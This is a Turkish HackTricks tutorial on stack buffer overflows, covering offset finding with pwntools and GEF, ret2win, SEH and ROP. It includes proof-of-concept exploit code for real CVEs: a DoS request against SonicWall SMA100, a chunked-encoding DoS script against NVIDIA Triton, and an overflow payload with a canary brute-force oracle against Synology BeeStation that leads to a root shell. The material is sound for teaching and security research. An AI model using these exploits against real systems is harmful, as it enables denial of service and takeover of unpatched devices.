Stack Overflow

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Stack Overflow nedir

Bir stack overflow, bir programın yığın için ayrılan alandan daha fazla veriyi yığına yazdığı durumda ortaya çıkan bir güvenlik açığıdır. Bu fazla veri bitişik bellek alanlarını üzerine yazarak, geçerli verinin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açar. Bu sorun genellikle girdiler üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılması nedeniyle ortaya çıkar.

Bu overwrite işleminin ana sorunu, önceki fonksiyona dönmek için kullanılan saved instruction pointer (EIP/RIP) ve saved base pointer (EBP/RBP)’in yığın üzerinde saklanmasıdır. Bu nedenle saldırgan bunları ezebilir ve programın yürütme akışını kontrol edebilir.

Zafiyet genellikle bir fonksiyonun yığın içine kendisine ayrılan miktardan daha fazla byte kopyalaması nedeniyle ortaya çıkar; böylece yığının diğer kısımlarını ezebilir.

Bu tür zafiyete sıkça maruz kalan bazı fonksiyonlar: strcpy, strcat, sprintf, gets… Ayrıca, fgets, read ve memcpy gibi bir uzunluk argümanı alan fonksiyonlar, belirtilen uzunluk ayrılan alandan büyükse savunmasız şekilde kullanılabilir.

Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows offsets bulmak

En yaygın yöntem çok büyük bir A girdisi vermektir (ör. python3 -c 'print("A"*1000)') ve bunun bir Segmentation Fault ile sonuçlanmasını beklemektir; bu, 0x41414141 adresine erişilmeye çalışıldığını gösterir.

Ayrıca, bir Stack Overflow zafiyeti olduğunu tespit ettikten sonra overwrite the return address yapmanın mümkün olduğu offset’i bulmanız gerekir; bunun için genellikle bir De Bruijn sequence kullanılır. Belirli bir alfabenin boyutu k ve alt dizilerin uzunluğu n için bu, her olası uzunluk n alt dizisinin ardışık bir alt dizi olarak tam olarak bir kez göründüğü döngüsel bir dizidir.

Böylece, EIP’yi elle kontrol etmek için hangi offset gerektiğini belirlemek yerine, padding olarak bu dizilerden birini kullanmak ve ardından onu overwrite eden baytların offset’ini bulmak mümkündür.

Bunun için pwntools kullanılabilir:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

veya GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Stack Overflows’u Sömürme

Bir overflow sırasında (overflow boyutu yeterince büyükse) stack içindeki yerel değişkenlerin değerlerini üzerine yazabilir ve kaydedilmiş EBP/RBP and EIP/RIP (or even more) ulaşabilirsiniz.
Bu tür bir zafiyeti kötüye kullanmanın en yaygın yolu dönüş adresini değiştirmektir, böylece fonksiyon sona erdiğinde kontrol akışı bu pointer’ın işaret ettiği yere yönlendirilir.

Ancak başka senaryolarda sadece stack içindeki bazı değişkenlerin değerlerini üzerine yazmak exploit için yeterli olabilir (örneğin kolay CTF görevlerinde).

Ret2win

Bu tür CTF görevlerinde, ikili içinde asla çağrılmayan ve kazanmak için çağırmanız gereken bir function bulunur. Bu görevler için yapmanız gereken sadece dönüş adresini overwrite etmek için offset’i bulmak ve çağırılacak function’ın adresini tespit etmektir (genellikle ASLR devre dışı bırakılmış olur) böylece zafiyetli fonksiyon return ettiğinde gizli fonksiyon çağrılacaktır:

Ret2win

Stack Shellcode

Bu senaryoda saldırgan, stack’e bir shellcode yerleştirip kontrol edilen EIP/RIP’i kullanarak shellcode’a atlayıp arbitrary kod çalıştırabilir:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows’ta bir overflow, kaydedilmiş dönüş adresi yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. Exploit genellikle SEH işaretçisini bir POP POP RET gadget ile değiştirir ve 4 baytlık nSEH alanını shellcode’un bulunduğu büyük buffer’a geri dönmek için kısa bir jump olarak kullanır. Yaygın bir desen, nSEH’de kısa bir jmp olup bunun nSEH’den hemen önce yerleştirilmiş 5 baytlık near jmp’e düştüğü ve payload başlangıcına yüzlerce byte geri atladığıdır.

Windows Seh Overflow

ROP & Ret2… techniques

Bu teknik, önceki tekniğin ana korumasını atlatmak için temel çerçeveyi sağlar: No executable stack (NX). Ayrıca binary içindeki mevcut talimatları kullanarak arbitrary komutlar çalıştırmaya imkan veren ret2lib, ret2syscall gibi çeşitli diğer teknikleri gerçekleştirmeyi sağlar:

ROP & JOP

Heap Overflows

Overflow her zaman stack’te olmayabilir, örneğin heap içinde de olabilir:

Heap Overflow

Types of protections

Zayıflıkların exploit edilmesini önlemeye çalışan çeşitli korumalar vardır, bunları şurada inceleyin:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

2025’te SonicWall’un SMA100 SSL-VPN cihazında sscanf’in güvenilmeyen girdileri parse etmek için asla güvenilmemesi gerektiğini iyi gösteren bir durum ortaya çıktı. /usr/src/EasyAccess/bin/httpd içindeki savunmasız rutin, /__api__/ ile başlayan herhangi bir URI’den versiyon ve endpoint’i çıkarmaya çalışır:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. İlk dönüşüm (%2s) version’a güvenli şekilde iki bayt depolar (ör. "v1").
  2. İkinci dönüşüm (%s) uzunluk belirticisi yoktur, bu nedenle sscanf ilk NUL byte’a kadar kopyalamaya devam eder.
  3. Çünkü endpoint stack üzerinde yer alır ve 0x800 bayt uzunluğundadır, 0x800 bayttan daha uzun bir path sağlamak buffer’ın ardından gelen her şeyi bozar ‑ stack canary ve saved return address dahil.

Tek satırlık bir proof-of-concept, çöküşü before authentication tetiklemek için yeterlidir:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution).

Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’nin Triton Inference Server (≤ v25.06), HTTP API’si üzerinden erişilebilir birden fazla stack-based overflows içeriyordu. Zafiyetli desen http_server.cc ve sagemaker_server.cc dosyalarında tekrar tekrar ortaya çıkıyordu:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent), mevcut HTTP istek gövdesini oluşturan iç buffer segmentlerinin sayısını döndürür.
  2. Her segment alloca() ile 16-byte evbuffer_iovec’in stack üzerine ayrılmasına neden olur – herhangi bir üst sınır olmadan.
  3. HTTP chunked transfer-encoding’i kötüye kullanarak, bir client isteğin yüzbinlerce 6-byte chunks ("1\r\nA\r\n") olarak bölünmesini zorlayabilir. Bu n’in stack tükenene kadar sınırsız büyümesine neden olur.

Proof-of-Concept (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Yaklaşık 3 MB'lık bir istek, kayıtlı return address'i overwrite etmeye ve varsayılan build'te daemon'ı **crash** etmeye yeterlidir.

### Gerçek Dünya Örneği: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv’in Pwn2Own 2025 zinciri, port 5000'de `SYNO.BEE.AdminCenter.Auth` içindeki bir pre-auth overflow'u kötüye kullandı. `AuthManagerImpl::ParseAuthInfo`, saldırgan girdisini 4096-byte'lık bir stack buffer'a Base64-decode ediyor ama yanlışlıkla `decoded_len = auth_info->len` olarak ayarlıyor. CGI worker her istek için fork ettiğinden, her child parent’ın stack canary'sini inherit eder; bu yüzden tek bir stabil overflow primitive hem stack'i bozmak hem de gerekli tüm sırları leak etmek için yeterlidir.

#### Base64-decoded JSON as a structured overflow
Decoded blob geçerli JSON olmalı ve `"state"` ile `"code"` anahtarlarını içermeli; aksi halde parser, overflow işe yaramadan önce hata fırlatır. Synacktiv bunu, JSON'a decode olan, ardından bir NUL byte ve sonra overflow stream gelen bir payload'u Base64-encode ederek çözdü. `strlen(decoded)` NUL'de durduğu için parsing başarılı oluyor, ancak `SLIBCBase64Decode` zaten JSON nesnesinin ötesine stack'i overwrite etmiş, canary, saved RBP ve return address'i kaplamış durumda.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi her HTTP isteği için bir kez fork yapar, bu yüzden tüm child süreçler aynı canary, stack layout ve PIE slide’ı paylaşır. The exploit, HTTP durum kodunu bir oracle olarak kullanır: bir 200 yanıtı tahmin edilen byte’ın stack’i koruduğu anlamına gelirken, 502 (veya bağlantının düşmesi) sürecin çökmesi demektir. Her byte’ı ardışık olarak brute-forcing yaparak 8-byte canary, kaydedilmiş bir stack pointer ve libsynobeeadmincenter.so içindeki bir return adresi elde edilir:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr onaylanmış öneki eklerken basitçe bf_next_byte’ı sekiz kez çağırır. Synacktiv bu oracles’ları yaklaşık 16 worker thread ile paralelleştirerek toplam leak süresini (canary + stack ptr + lib base) üç dakikanın altına indirdi.

leaks’ten ROP ve execution’a

Kütüphane base bilindiğinde, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) bir arb_write primitive’i oluşturur ve /bin/bash, -c ile saldırgan komutunu leaked stack adresine yerleştirir. Son olarak zincir, SLIBCExecl için çağrı konvansiyonunu kurar (BeeStation’ın execl(2) sarmalayıcısı), ayrı bir info-leak bug’a ihtiyaç duymadan root shell sağlar.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin